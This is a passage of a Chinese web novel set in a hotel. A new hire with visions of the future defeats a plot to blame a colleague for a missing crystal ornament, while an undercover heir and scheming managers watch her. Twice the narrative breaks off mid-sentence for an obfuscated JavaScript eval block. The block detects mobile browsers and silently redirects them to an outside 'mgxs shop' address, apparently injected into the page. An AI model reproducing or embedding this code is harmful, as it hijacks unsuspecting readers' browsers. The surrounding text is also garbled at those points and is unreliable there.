说到最后，他特意偷瞄了一眼主位上的张宏斌，见张宏斌脸色阴沉，又赶紧补充了一句：“对了，我送完文件还去了20楼呢，本来想帮忙的，但看到小郑已经盘点完毕了，就下来了，还给她买了奶茶表示感谢，当时看到她一直在2008房间转悠，还觉得奇怪，现在想想……” 他话没说完，故意留了个引人遐想的尾巴，把郑舒慧早有预谋的暗示埋得明明白白。 画面猛地中断，陶新柔瞬间回神，指尖还握着那杯温热的奶茶，魏嘉信的声音还在耳边响着：“小陶？发什么呆呢？是不喜欢这个口味吗？那我再给你换一杯，还有芋泥和抹茶的。” 陶新柔抬眼看向他，眼前的魏嘉信依旧是那副自来熟的热情模样，笑容真诚，眼神干净，完全看不出未来画面里那副见风使舵、两面三刀的样子。 她强压下心底的寒意，扯了扯嘴角，把奶茶递了回去：“不用了，谢谢你，我不渴。” “好吧，那我一会儿放你办公桌上，你记得喝啊，咱们都是新人，相互照应。” 魏嘉信说完离开，而陶新柔没有马上下楼，她躲在一旁看魏嘉信的动态。 果然，他走到了2008门口，朝里望了望，看到郑舒慧时表情淡然，眼角扯笑，随后就离开了。 她脸上的笑容彻底消失，不管这件事魏嘉信知不知道，但他这为了攀附李美丽，不顾牺牲同事的做法，完全是个见人说人话、见鬼说鬼话的主。 看来想要救郑舒慧，必须在明天会议前找到摆件，打破这个既定的未来。 陶新柔回到2008时，郑舒慧还在奋力寻找，她哭丧着脸，一脸焦虑：“新柔，怎么办啊……” 就在这时，房门被人转动。 房门打开，只见房荣手里拿着个香薰，一脸疑惑：“你们怎么在这里？” 陶新柔心里咯噔一下，下意识挡在了郑舒慧身前，问：“啊，房荣，你怎么进来了？” “刚才接到VIP客户的需求，我来补充香薰。”说完，就把香薰放在玄关柜上，目光却扫视着房间里的一切。 些许凌乱的沙发垫、床铺、洗手台，似乎一切都有迹可循。 “你们核对物品，是不是遇到麻烦了？” 陶新柔心里一紧，下意识地否认：“没有没有，就是正常核对，没麻烦。” 房荣没再追问，只是从口袋里掏出手机，点开一个文档递给陶新柔：“这是VIP总统套房的物品布局详图，之前培训时整理的，你们核对的时候可能用得上。” 陶新柔愣了一下，迟疑地接过手机，屏幕上的详图标注得十分清晰，不仅有柜子、抽屉的位置，还圈出了几个贵重物品的摆放方式，以及客户特殊需求时该如何摆放等详细内容。 她心里微动，疑惑道：“你怎么专门整理了这个？” “我想着第一次核对工作，容易遗漏，就整理了一下，你们需要的话就给你们参考下，能少走点弯路。”他顿了顿，又补充道，“我知道李主管最近对新人要求很严，你们肯定不想因为遗漏被批评。” 这话刚好说到了陶新柔的心坎里，看来总裁真的很贴心！ “谢谢你，我们会参考的。” 记下来了布局，陶新柔心里动容。 总裁也会雪中送炭！真好！ 房荣接过手机，似是又想起什么：“对了，我刚才送香薰过来的时候，在消防通道门口看到魏嘉信了。” “魏嘉信？”陶新柔心里一震。 “嗯，他手里好像还拿了什么，我也没注意看。那我先继续去忙了，你们要是有什么事随时叫我。”他没再多说，转身走出了房间。 看来房荣的提醒，刚好和她的猜测对上了。 等房荣离开后，郑舒慧才松了一口气：“新柔，会不会是魏嘉信拿走了摆件呀？难道刚才房荣看到的是魏嘉信把摆件藏起了吗？他为什么要陷害我？” 此刻的郑舒慧，就像是个十万个为什么，一口气把脑海里的问题都问了出来。 陶新柔也有很多疑问，虽然她已经预知到了魏嘉信会嫁祸给郑舒慧，但其中肯定还藏着什么秘密。 “我们去消防通道看看吧。” * 第二天一早，大家正在紧张忙碌，李美丽突然进来把郑舒慧和魏嘉信叫走了，一时间，部门里的气氛就格外凝重。 同事们瞬间紧张讨论起来：“你听说了吗？2008房丢了个价值不菲的水晶摆件，据说要追究责任到个人。” 另一位同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203421|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事也俯身过来：“我早上路过主管办公室，听见李主管在跟王姐核对清洁记录，语气挺严肃的。” “我听说昨天郑舒慧被临时调去负责20楼的盘点，不会要算在她头上吧？” “不好说，据说李主管向来最看重VIP区域，要是真丢了贵重物品，肯定要严肃处理……” …… 陶新柔也凑过去听了几句，果然跟昨天预知的情况一样，李美丽把王姐喊进办公室问话了。 看来这不过是一场杀鸡儆猴的戏码。 没一会儿，李美丽又踩着高跟鞋走进办公室：“所有人，10点准时在会议室开会。” 时间一到，所有人都准时聚集在会议室里。 房间不算大，长条会议桌的木质桌面倒映着冷白色吊灯，光线直直打下来，落在每个人脸上，肃穆和压抑席卷而来。 陶新柔坐在靠后的位置，目光扫过全场，最终落在前排的郑舒慧身上，她和魏嘉信站在会议桌一侧，郑舒慧双手紧紧攥着衣角，魏嘉信则站得笔挺，一副无奈的表情，陶新柔悄悄给了她一个安抚的眼神。 片刻后，李美丽跟在张宏斌身后走进会议室，督查员坐在侧席，手里拿着笔记本。 “张经理、督查员，关于2008房水晶摆件丢失一事，我已经完成初步调查，现在向各位汇报。”李美丽拿出一份清洁记录，“这是客户退房后，客房中心派王姐于一点二十分进入2008房清洁，清洁完成时间为两点十五分。这份是王姐的清洁确认单，上面明确标注‘所有物品齐全，无缺失’，有她的签字和客房中心的复核记录。” 王姐坐在侧席，脸色有些局促，却还是点了点头：“是我清洁的，当时确实核对过，摆件是齐全的。”陶新柔留意到，王姐说这话时，眼神下意识地瞟了一眼李美丽，显然是被提前引导过证词。 李美丽接着拿出另一份盘点记录：“这是我们客房VIP部的盘点记录表，原本盘点工作是安排给魏嘉信的，但他临时有紧急文件需要送达总部，我便安排郑舒慧接手20楼全部VIP客房的盘点工作。这份是郑舒慧提交的盘点记录，上面有她的签字，显示她于昨天下午五点三十分进入2008房，六点十分完成盘点，但未按照规定记录。” 说到这里，她话锋一转，把酒店的《VIP区域资产盘点制度》投到了大屏上，指着其中一条念道：“根据制度规定，VIP客房贵重物品盘点‘发现缺失需立即上报，延迟上报视同失职’。郑舒慧已构成严重失职，而且我还了解到，陶新柔昨天曾协助郑舒慧核对部分客房，但并未在盘点记录上签字。按照制度，协助盘点人员必须共同签字，并对核对结果承担连带责任，若郑舒慧确认失职，陶新柔也需承担协同失职的责任。” 好家伙，一箭双雕！ 会议室响起一片倒吸冷气的声音。 李美丽这波操作，属实是职场兵法十级学者。 “我没有！我们盘点的时候摆件就已经丢了，我和新柔也去找过，但没找到，新柔也不是失职！”郑舒慧辩驳。 “那你为何不上报？你只是口头和同事讨论，这不符合流程，已经构成了严重的失职和瞒报嫌疑。”李美丽掷地有声。 “我……”郑舒慧朝陶新柔投去求助的眼神。 事已至此，陶新柔只好起身道：“经理，督察员，我有几句话想说。” “我昨天全程陪郑舒慧一起核对20楼VIP客房物品，包括2008房。之所以盘点记录上只有她的签字，是因为当时李主管并没有安排我去核对，如果我冒然签字，反而会引起怀疑，所以我和郑舒慧约定，先由主要负责人签字确认，我后续补签，而且，我已经把事情经过全部记录了下来。”陶新柔拿出自己的笔记本，但李美丽根本不看。 “补签？我们可没有这项规定，有错就得罚，正好你这么主动，那就一起罚吧。” 陶新柔正在想后续如何回答时，房荣站了起来。 “张经理、督察员，我可以作证，他们不是失职。” 5. 第五章 话音刚落，众人的目光集中在房荣身上，他起身回答：“我昨天下午六点接到客房中心派单，前往2008房为VIP客户补充香薰，进入房间时，陶新柔和郑舒慧正在核对装饰柜的物品，我看到装饰柜里的水晶摆件少了一枚，她们当时正在讨论这件事，并非瞒报。” 房荣的一席话，像是大旱里的及时雨，精准浇在了陶新柔的心田上！ 总裁帮忙说话了，你们谁还敢造次！ 房荣的证词直接推翻了李美丽‘虚报齐全’的指控，李美丽虽然面上难堪，但依旧强装镇定：“你只是补充香薰，停留时间不超过一分钟，确定能看得清楚？” “不会记错，2008房的水晶摆件是定制款，摆成圆形阵列，缺失一枚会留下明显空缺，一眼就能看清，而且，我补充香薰时，曾特意询问她们是否需要协助上报，陶新柔说已经把情况记录在册，会尽快上报。” 这句话彻底打破了李美丽的布局。 见状，她尖声道：“私下记录算什么记录？就算她们记录了，也改变不了未按制度签字，未及时上报的事实！魏嘉信，你来说说你当时遇见的情况。” “这个……”魏嘉信似乎很不情愿地站起身回答：“我本来要去盘点的，但李主管安排我去送文件，让我跟小郑说一声，当时她不在，我又着急去送，就让李主管帮忙安排，谁知道会出这种事啊。” 他特意偷瞄了一眼主位上的张宏斌，见张宏斌脸色阴沉，又赶紧补充了一句：“对了，我送完文件还去了20楼呢，本来想帮忙的，但看到小郑已经盘点完毕了，就下来了，还给她买了奶茶表示感谢，当时看到她一直在2008房间转悠，还觉得奇怪，现在想想……” 果然事情完全按照看见的未来发展了。 李美丽也完全是咬准要让陶新柔和郑舒慧吃瘪。 “可李主管，如果东西没丢，还在酒店呢？”房荣问。 李美丽神色明显一僵，随后问道：“还在酒店？那你倒是拿出来啊。” 房荣没有回答，李美丽更来劲了：“拿不出来，还狡辩什么，张经理，证据确凿，您看这件事怎么处理？” 张宏斌看了几人一眼，随即下定论：“既然证据都已经拿到了，那就按照规章制度办吧，郑舒慧、陶新柔因失职……” 郑舒慧慌张无神，陶新柔也心里急切。 安保部怎么还没查到？ 就在这时，会议室的门被突然推开，安保部的两名同事走了进来，其中一人手里拿着一个透明袋，里面装着的正是那枚丢失的水晶摆件。 “张经理、李主管，我们在20楼消防通道的储物柜里，找到了这枚丢失的水晶摆件。” “什么？找到了？！”李美丽惊呼出声。 “初步判断，这应该是人为藏匿的。” 全场更是一片哗然，原本认定的失职事件，瞬间变成了人为藏匿。 “能确定藏匿时间吗？”张宏斌问。 “可以，我们这就去调取监控，尽快核实藏匿人员身份。” 安保部同事正要离开，李美丽急忙喝止接话：“等一下，张经理，督察员，既然水晶找到了，这件事就归我们部门负责调查吧，咱们大事化小小事化了，以免引起总部的误会。小郑，这件事我向你道歉了，但以后再发生这种情况，一定要及时上报，知道吗？不要浪费大家的时间，张经理，您觉得呢？” 好一招甩锅！ 陶新柔看着李美丽，此刻的她，跟刚才叫嚣的样子完全不一样了。 看来，这件事就是她搞的鬼。 张宏斌挥了挥手，犀利的眼神看向李美丽：“你能主动认错、承担责任，这一点值得肯定。后续就按你说的，全力配合调查、完善管理流程，散会。” 李美丽恭敬应答，众人齐送张宏斌离开。 会议室气压骤松。 郑舒慧冲过来抱住陶新柔，眼泪汪汪：“新柔谢谢你！没有你我就完了！” “没事了、没事了。”陶新柔拍拍她后背。 魏嘉信见没事了，便走过来状似无奈道：“太好了，你们没事就好，你看这事闹的，当时真应该帮小郑一起找。” 陶新柔瞪了他一眼，这个两面三刀的家伙，现在倒来假惺惺了。 “不需要，你以后离我们远点就行。” “啊这……”魏嘉信不知说什么，但陶新柔已经把目光飘向正在收拾笔记的房荣。 她快步走过去感激涕零：“应……啊不，房荣，刚才真的太感谢了，昨天要不是你给了我们布局图，我们可能都得死的不明不白。” 郑舒慧也点头道谢：“是啊，房荣，没想到你判断如此精准，还好有你帮我们呢。” 房荣合上本子，笑得温和：“只是碰巧遇到，实话实说而已。不过后续调查期间，你们也要多加小心，李主管不会轻易罢休的。” 陶新柔点了点头，心里的小本本又记下一笔： 总裁大人人真好！ 有总裁帮助，天下我有！ 至于和李美丽的梁子…… 嗯，这仇估计是记到跨年了。 * 安保部之所以能这么快就从消防通道找到失物，还要靠房荣提供的线索。 那天一早，陶新柔谎称总部需要核查消防通道，领导特意让她来提醒安保部的同事，幸好他们赶在会议结束前发现了丢失的水晶，才没让他们受到处罚。 不过经过这件事，陶新柔发现，原来她遇见的未来是可以改变的，如果当年把父亲留下来，她是不是就能改变父亲的未来？ 可是现在，说什么都迟了。 水晶丢失案虽然找回了失物，但因为李美丽管理失职，被降薪了三个月。 消息一出，部门瞬间炸锅，所有人都知道，她的降薪与陶新柔、郑舒慧脱不了干系。 而事实也是这么证明的，从通报下发的第二天起，李美丽看向她们俩的眼神，多少带着点刀刃感，刺得人脊背发寒。 周一晨会上，李美丽拿着排班表，目光在陶新柔和郑舒慧脸上反复游移，随后嘴角才勾出一抹似笑非笑的弧度：“陶新柔、郑舒慧，你们俩这次表现突出，领导反应你们心思细、应变快，正好VIP楼层最近接待比较多，人手紧张，就调你们过去继续顶班。” 话音落下，周围同事的目光齐刷刷投过来。 她清楚，这是李美丽的报复，明面上是重用，实则是把最难缠的活往她们身上推，躲是躲不掉的，只能接下。 果然，麻烦接踵而至。 第一天接手，两人就忙得脚不沾地。 明明提前报备了客户需要的低敏洗护用品，客房中心却迟迟没送过来，等客人找上门投诉，李美丽才慢悠悠地在对讲机里说“忘了传达”，导致陶新柔被客户投诉。 第二天，郑舒慧跪在地上擦了三遍大理石砖，李美丽却硬说有污渍，勒令返工。 最让人窝火的是绩效评分，明明两人加班加点干活，谁都看在眼里，月底的绩效表上，却被李美丽打了个堪堪及格的分数，理由是“服务不够灵活，缺乏主动性”。 陶新柔记在心里，面上只能不动声色，她知道，现在还不是反击的时候，硬碰硬只会吃更多亏。 为了能早日摆脱这种现状，陶新柔只好自我调节，去洗手间泡杯咖啡。 门刚推开，就听见里面传来压抑的啜泣声。 只见郑舒慧背对着门，肩膀一抽一抽的。 陶新柔猜测郑舒慧肯定是因为绩效评分扣钱在难过。 听见脚步声，郑舒慧急忙擦了把脸，低着头小声道：“我马上就去20楼。”但转过身看到是陶新柔时，泪水更绷不住了。 “新柔……我是不是特别没用？连这点事都做不好，还要连累你。” 郑舒慧鼻尖红红的，像只受了委屈的小兔子。 陶新柔走过去，递了张纸巾给她：“没有，你别把责任都揽在自己身上，这不是你的错，是他们在故意刁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203422|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难我们。” 郑舒慧接过纸巾，用力攥在手里，眼泪还是止不住地掉：“可是绩效被扣了，家里还等着我交房租。而且如果不是因为我，你也不会受到李主管的排挤，那天我要是强硬点不接盘点的活，也不会被李主管抓住把柄。” 陶新柔安慰道：“盘点的事本来就不是你的问题，是有人故意设局。至于调去VIP楼层，是李美丽的报复，就算没有你，她也会找别的由头针对我。” 郑舒慧心里的委屈淡了点，她吸了吸鼻子又问：“可我们总不能一直这样被欺负吧？” “当然不会，我们现在只能忍着，等攒够了足够的证据，就去找张经理和督查员，总有说理的地方，我们不能认输！” 郑舒慧看着陶新柔，眼里又充满了光，她用力点点头。 陶新柔笑了笑，把手里泡好的咖啡分给郑舒慧一半：“走吧，我们先去20楼，别让她抓到新的把柄。等忙完这阵，我请你去吃楼下那家超好吃的麻辣烫，犒劳犒劳我们自己。” * 没人知道的是，在她们为了应对李美丽的刁难焦头烂额时，另一双眼睛，正不动声色地注视着陶新柔的一举一动。 此刻，应景晟的手机邮件里，正躺着一份关于云麓酒店内部的“信息泄密案”的事件报告。 “小应总，我打听到张宏斌为了巩固自己的派系势力，已经在新人里安插了眼线，但具体是哪个新人，现在还没查到。” 王安然如实说，应景晟握着手机的手顿了几分。 查案这件事还得从五年前说起，爷爷退居二线后，云麓集团主要由二伯应怀山、四叔应怀礼掌管，父亲则负责其他内容。 原本蒸蒸日上的云麓集团，近几年股价接连暴跌，旗下几大产业更是纷纷淡出公众视野，唯有集团旗下的几家酒店生意还算兴隆。 爷爷心里清楚，这一切都是两位亲戚在暗中掏空集团，但他早已没了实权，只能眼睁睁看着自己亲手缔造的商业帝国渐渐衰败。 于是，他只好将希望寄托在将来要接手公司的应景晟身上，这既是为了夺回集团实权，也是对他的一场重要考验。 应景晟从小在国外学习长大，常年不回国，这让应家众人都以为他是个扶不起的阿斗，从未把他放在眼里。 应怀山、应怀远更是肆无忌惮，把自家亲信随意安插进云麓集团各个核心岗位，大有彻底掌控集团的趋势。 直到去年，应景晟听爷爷说起集团的困境与泄密案的隐情后，再也无法在国外安心待下去，当即决定回国，帮爷爷扭转局面、夺回实权。 泄密案的主谋虽直指应怀山，但他根基深厚，应景晟深知不能急功近利，决定动尾不动头，便打算从他的亲信入手，先摸清脉络，再一举击破。 而几天前，助理王安然传来关键线索，应怀山安插在云麓酒店的核心亲信，正是云麓酒店的新任经理张宏斌。 为了不打草惊蛇，应景晟没有通知家里任何人，甫一回国，就隐瞒身份应聘了集团旗下酒店的职务。 “我知道了，你继续盯着张宏斌的动向，随时向我汇报。” 应景晟说完，就挂了电话，他随手点开手机里的部门工作群，想看看近期的工作动态，目光却突然顿住，群里同事闲聊时，正提起陶新柔的名字，还顺带说起了她在水晶丢失案里的表现。 没错，一个公司，八百个群，陶新柔和郑舒慧都不在这个群里，显然已经把她们排除在外了。 不过，应景晟像是有了些思考。 陶新柔在水晶丢失案的表现太精湛了。 丝毫不慌乱，条理清晰地举证反击，每一步都踩得又准又狠，完全不像刚入职的新人该有的沉稳与敏锐。 与她平时对他的样子完全不一样。 应景晟靠在椅背上，眼睛微微眯起，陶新柔会不会就是张宏斌安插的那个眼线？ 这个猜测一旦生根，便疯狂地蔓延开来。 应景晟决定，要试探一下她。 6. 第六章 周末这天，应景晟调休了，陶新柔还要上班。 早上刚打开门，两人就撞在了一起。 四目相对，都愣了一下。 应景晟很快回过神，脸上扯出一抹客气的笑，微微侧身：“早。” 陶新柔没说话，只是点了点头，算是回应。 她侧身从他身边走过，很快离开，像是生怕和他有过多的交集。 这几日，同住一个屋檐下，应景晟更是刻意观察陶新柔的一举一动。 看她每天早出晚归，被李美丽刁难后也只是默默隐忍，应景晟越发觉得陶新柔不简单，一个能在关键时刻精准破局的人，怎么会甘心一直挨欺负？ 他需要更确凿的证据。 于是趁她不在家，应景晟买了一箱车厘子，一些糕点，去外面逛了一圈，下午才回到陶家。 刚拿出钥匙，门就被陶母打开了，陶母愣了愣问道：“小房？今天没上班？” 应景晟笑着回答：“阿姨好，我今天调休。”说着又举起手里的东西，“之前听陶新柔提过您喜欢吃甜食，就顺手买了点，刚好路过水果店，今天的车厘子还挺新鲜的，不是什么贵重东西，您别嫌弃。” 陶母本就觉得这个租客干净整洁、作息规律，平日里相处也客客气气的，此刻见他还特意买了东西，心里更熨帖了，只是看到他手里拎着东西又皱起眉头：“哎呀，你这孩子，太见外了。” 应景晟提着东西走进屋，顺势把车厘子和糕点放在茶几上，又主动拆开包装，拿出一盒糕点递给陶母：“阿姨，您尝尝，这是刚出炉的鲜花饼。” 陶母笑着接过，不好意思道：“你这孩子有心了。” 说着吃着，两人便坐在沙发上闲聊起来。 应景晟很会找话题，从找房子聊到附近的便民设施，又自然而然地绕到工作上，说跟陶新柔是同事，又在同一屋檐下，相互照应是应该的。 “她在公司里很照顾我，经常提醒我一些工作上的注意事项。” 这话正好说到陶母心坎里，她脸上的笑容更浓了，絮絮叨叨地说起陶新柔的事：“这孩子就是嘴笨，心里有数但不会说，从小就犟，认定的事非要做到底，现在刚上班，我总担心她受委屈，不过有你跟她做同事，我放心多了。” 应景晟听得认真，时不时点头附和，还会适时说几句贴心话：“阿姨您放心，陶新柔能力很强，条理特别清晰，领导都夸她呢。” 陶母越聊越觉得应景晟懂事贴心，忍不住感叹：“现在像你这样有礼貌的年轻人不多了，比我们家小柔会说话多了。” 就在这时，防盗门“咔哒”一声被打开，陶新柔回来了。 看到客厅里的一幕，陶新柔的脚步瞬间顿住。 “妈，你们在这儿干嘛呢？” 看似询问，其实陶新柔的眼神已经瞥到了茶几上摆放着的水果和糕点上，猜到了几分。 “今天小房调休，妈也没事，正好聊聊天。”说着又拿起桌上的糕点道，“这是小房刚才买的鲜花饼，挺好吃的，你也尝尝？” 陶新柔内心警铃大作。 尝尝？这能随便尝吗？ 她吓得赶紧把陶母手中的鲜花饼拿下，放进盒子里，恭谨推到房荣面前：“房荣，您太客气了。但这礼物太贵重了，我们实在不能收，您是我们的租客，我们按合同照顾好您是应该的，您这样我们反而过意不去，您的心意我们领了，东西请您务必带回去。” 一连串的几个“您”，听得房荣摸不透陶新柔的意思。 他看着被推回来的礼物，再看向陶新柔那看似礼貌实则写满“划清界限”的表情，脸上的笑意顿了顿，随即恍然理解，带着歉意开口：“是我考虑不周，让你为难了，只是觉得阿姨平时很照顾我，想表达下感谢。” “不不不，照顾你是我们应该做的，毕竟你付了房费，还让我们的小破屋蓬荜生辉。” 房荣笑了下回应：“你言重了，是我打扰了才对，既然你坚持，那……这些我先拿回去了。” 见他态度如此配合，陶新柔刚暗暗松了口气。 然而下一秒，却听房荣又自然地问道：“对了，快到吃晚饭时间了，不知道附近哪家餐馆味道比较家常？我请你们去外面吃？就当庆祝周末？” 陶新柔再次身子僵硬。 啊？总裁要请他们吃饭！ 刚放下的心又提了起来，总裁这是什么意思？是嫌我们家招待不周吗？还是觉得我拒绝礼物太不给面子？ 她脑子里瞬间闪过八百种职场剧和宫斗剧情节，脸上露出僵硬的尴尬笑容：“啊，这个……怎么好意思让您破费，家里有菜，我妈手艺可好了！妈，你说是吧？” 未等陶母反应，房荣已经开口：“别麻烦阿姨了，我正好想熟悉下周边环境，你推荐一下就好，或者……我去打包回来一起吃？也省得阿姨辛苦。” 就在两人推脱之际，陶母插嘴道：“哎呀，光顾着聊天，我都忘记去买菜了。” 陶新柔回头看了母亲一眼，看来这饭是躲不掉了。 “那我就随便选一家了，阿姨，您今天休息一下。”房荣站起身走了出去。 门一关上，陶新柔立刻回头埋怨母亲：“妈，您怎么能让他去买晚饭啊，完了完了，肯定都完了。” 陶母非常不解地看着女儿这一系列行云流水又莫名其妙的操作：“什么完了？小柔，你今天到底怎么回事？中邪啦？” “妈，我正常得很。”陶新柔瘫软地倒在沙发上，心情跌倒低谷。 “正常？你这叫正常？人家小房多好的孩子，调休还记挂着我们，特意买了水果和糕点，说话客气，人也有礼貌，反倒是你，小柔，你平时不是这样不懂事的孩子啊，是不是在公司受气了？” 陶新柔一骨碌坐起来解释：“妈，您听我说，我这么做，不是不懂事。” “那是为啥？” “因为他的身份不一般，他是我们酒店的未来总裁。” 陶母这才恍然大悟：“什……什么？小房是未来总裁？” 陶新柔点点头：“而且，他本名也不叫房荣，他姓应。” 陶母更为震惊：“所以……他隐姓埋名来我们家是想干嘛？” “虽然现在还不清楚他到底为什么要隐姓埋名，但他一定有不可告人的秘密，总裁哪儿是能当就当的，再说了，我们怎么能受到总裁的照顾，应该是我们照顾总裁啊！” “那你也不该那么生硬地把东西推回去，多让人下不来台。”陶母埋怨。 陶新柔一副苦瓜脸，又似是想到什么，从沙发上弹起来，“不行，我得想想怎么做才能做到自然而不刻意地表达感谢，又不能显得太殷勤。妈，咱家碗筷够新吗？要不要把那个有点缺口的碗藏起来？” 就在陶新柔纠结于是该把客厅再收拾一遍，还是该换件更得体的家居服时，房荣提着几个餐盒回来了。 饭菜的香味飘散开。 三个人吃得如同参加外交宴会。 她努力寻找安全话题：“这家红烧肉味道挺正宗的。” 房荣：“嗯，肥而不腻。” “这个鱼肉也很好吃，刺不多。” 房荣：“是，特意买给阿姨的，阿姨，您尝尝。” “妈，您说是不是比上周那家外卖强？” 陶母：“啊？哦，对对，小房真是太贴心了。” 此刻，陶新柔觉得自己不是在吃饭，而是在进行一场社交礼仪。 * 饭后，房荣主动帮忙收拾，然后礼貌道别回了自己房间。 关上门的瞬间，脸上那温润平和的微笑，像潮水般褪去 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她来到经理办公室，此刻张宏斌正在通话，语气恭敬，想来是在跟总部的人对接。 李美丽不敢怠慢，只好在门口等候，片刻后，张宏斌喊她“进来”，她才轻步走进，反手带上了房门。 “经理，新人我已经摸过底了，大部分新人都已为我们所有，只有陶新柔、郑舒慧和房荣，不肯与我们为伍。”李美丽微微躬身，语气里带着几分讨好。 张宏斌靠在真皮座椅上，指尖夹着一支未点燃的烟，眉头微蹙，眼神沉冷。 他嗤笑一声，指尖轻轻敲击着桌面，似是听到了什么笑话：“不肯为伍？在这个酒店里，还没有谁敢跟我张宏斌掰扯。”他抬眼看向李美丽，思索了一下继续道，“陶新柔我知道，上次水晶案就敢跟你对着干，骨头硬得很；那个郑舒慧是跟她一起的，没什么能耐；至于房荣……” 张宏斌顿了顿，想起这个新人平时低调得近乎透明，工作上挑不出错，也从不多言，更未主动向自己示好，他反而有些猜不透：“这人看着不起眼，倒是藏得深，不声不响就站到了对立面。” 李美丽连忙接话：“经理说得是，这三个人就是咱们眼里的钉子，不把他们拔掉，迟早会坏了我们的事，我一定要找一件事让他们付出代价。” “代价自然要付，但不能急，我们要的是能为我们所用的人，而不是到处树敌。”他拿起桌上的一个文件夹，扔到李美丽面前，“给他们最后一次机会，要么屈服，要么滚蛋。” “下周三有个VIP要在我们这儿搞私人派对，你来安排。” 李美丽眼睛一亮，瞬间明白了张宏斌的意思：“经理放心，我肯定会让她们俩全程服务，只要她们俩有一点儿疏漏，我就立刻上报，以‘失职失责’为由，把她们俩直接开除！” “不止是她们俩，还有房荣，让他去做当天的巡查工作，你也给我盯紧他。如果他敢插手她们俩的事，就找个由头，一并处理了。” “经理，您放心，这件事就交给我了。” 张宏斌点点头，站起身，走到李美丽面前，拍了拍她的肩膀：“小李啊，上次的事，你已经栽了一次跟头，这次不能再出任何差错。我不管你用什么手段，都要让这三个人知道，在云麓酒店，我说的话就是规矩。愿意听话，就安安分分跟着我做事，有他们的好处，要是还敢硬抗，就别怪我不留情面。” 李美丽立刻挺直脊背，应声：“是！” “这次只需成功不许失败，否则……”张宏斌的语气有些阴森。 李美丽咽了下口水，快速回应：“经理，这次保证不会再失败！” 7. 第七章 下午三点，正是酒店最忙碌的时候，陶新柔和郑舒慧刚从20楼巡察下来，手机就响了。 是李美丽在工作群发的消息。 下周三晚19:00-22:00，25楼VIP区域将举办私人派对，接待重要VIP宾客，为确保活动顺利开展，现明确以下工作要求： 1、负责25楼服务的同事需提前3小时到岗，完成场地布置、物资清点及礼仪彩排； 2、所有参与服务人员需严格遵守VIP接待规范，注重仪容仪表，全程保持微笑服务； 3、派对期间及结束后，需重点做好区域卫生清洁、物资回收及安全巡查工作，杜绝任何疏漏。 具体人员安排见下。 …… 陶新柔看完人员分配情况，眉头紧锁，这哪是工作安排？这分明是李美丽精心设计的不可能完成任务！ 不一会儿，郑舒慧已经拿着手机蹭了过来，哭丧着脸：“新柔你看，她这是想累死我们还是想我们出错？我们就算会分身术也忙不过来啊！” “摆明了是冲我们来的。”陶新柔下定义。 “那我们怎么办？现在去说明情况吗？” 陶新柔冷静分析：“现在去说忙不过来，正好给她机会骂我们挑肥拣瘦、没有担当。现在我们只能硬着头皮上了，到时候打起十二万分精神，千万别让她揪住小辫子。” “可是这次接待不像以往，这次接待的人可是林芝芝呀。” 说到林芝芝，C市乃至全国都是无人不知无人不晓的富二代，她是东宁集团的唯一继承人，家族产业遍布金融、地产、新能源等多个领域，光是名下的私人游艇、私人飞机就有三艘两架，在全球各大城市的核心地段都有专属豪宅，随手一件配饰的价格，都能抵得上普通人数年的工资。 更让她名声在外的是她的行事风格，向来随心所欲，花钱如流水，办派对从不在乎成本，只求尽兴。 前两年她在酒店办生日派对，光是现场布置就耗费了近千万，邀请的全是圈内名流。 派对结束后还随手给服务人员发了五位数的红包，轰动一时，但另一方面，她的脾气也是出了名的阴晴不定，稍有不顺心就会大发雷霆，之前就有酒店因为服务细节没做到位，就被她要求全额赔偿，还连累经理直接被开除。 想到这儿，郑舒慧声音忍不住发颤：“新柔，听说她对服务要求可是到了苛刻的地步，一点小失误都能被她无限放大，李主管把我们安排得这么满，就是算准了我们会忙中出错，到时候只要林芝芝稍微投诉一句，我们俩就彻底完了！” 陶新柔知道这其中的弊端，只是她暂时还没有想到好的办法，只能走一步看一步。 就在这时，房荣从她们身边经过，她似是想到了什么，立刻低头去找房荣的工作安排，人员安排表里巡察那栏后面赫然写着房荣。 她抬头看向不远处正低头翻看工作手册的房荣，或许……可以试试迂回求助？ 但总裁会不会拒绝她？ 要是请总裁帮忙，以后他当上了总裁会找她茬吗？ 可眼下已经不是纠结这些的时候了，陶新柔决定去探探口风。 她一路小跑到房荣面前，脸上笑嘻嘻地：“那个……房荣，你看到李主管发的派对安排了吗？这次你负责25楼的巡查任务。” 房荣点点头问：“嗯，怎么了？” “就是，那个……这次的VIP宾客身份比较特殊，对服务细节要求很高，25楼区域不小，巡查的时候还得多留意些，尤其是派对期间和结束后的安全与物资核查，你可千万别出纰漏啊。” 说完，她紧紧盯着房荣的眼睛，试图放送“你懂了吧”的信号。 然而房荣却眨巴了一下眼睛道：“你眼睛不舒服吗？” 得，总裁没理解意思。 陶新柔泄气，但这件事她又怎么跟总裁说清楚呢，只能顺话：“哦哦，可能上午看多了电脑，眼睛干涩，我去滴点眼药水，先回去了。” 看来这件事，总裁是帮不上忙了。 还是靠自己吧，哭哭。 接下来的几天，陶新柔和郑舒慧几乎每天都要重复核对派对流程，一起检查25楼的各类设施，甚至提前演练了派对的每一个环节，确保没有任何疏漏。 陶新柔就差向上天祈求：求求老天开眼，放她一马。 终于，到了林芝芝举办派对的日子。 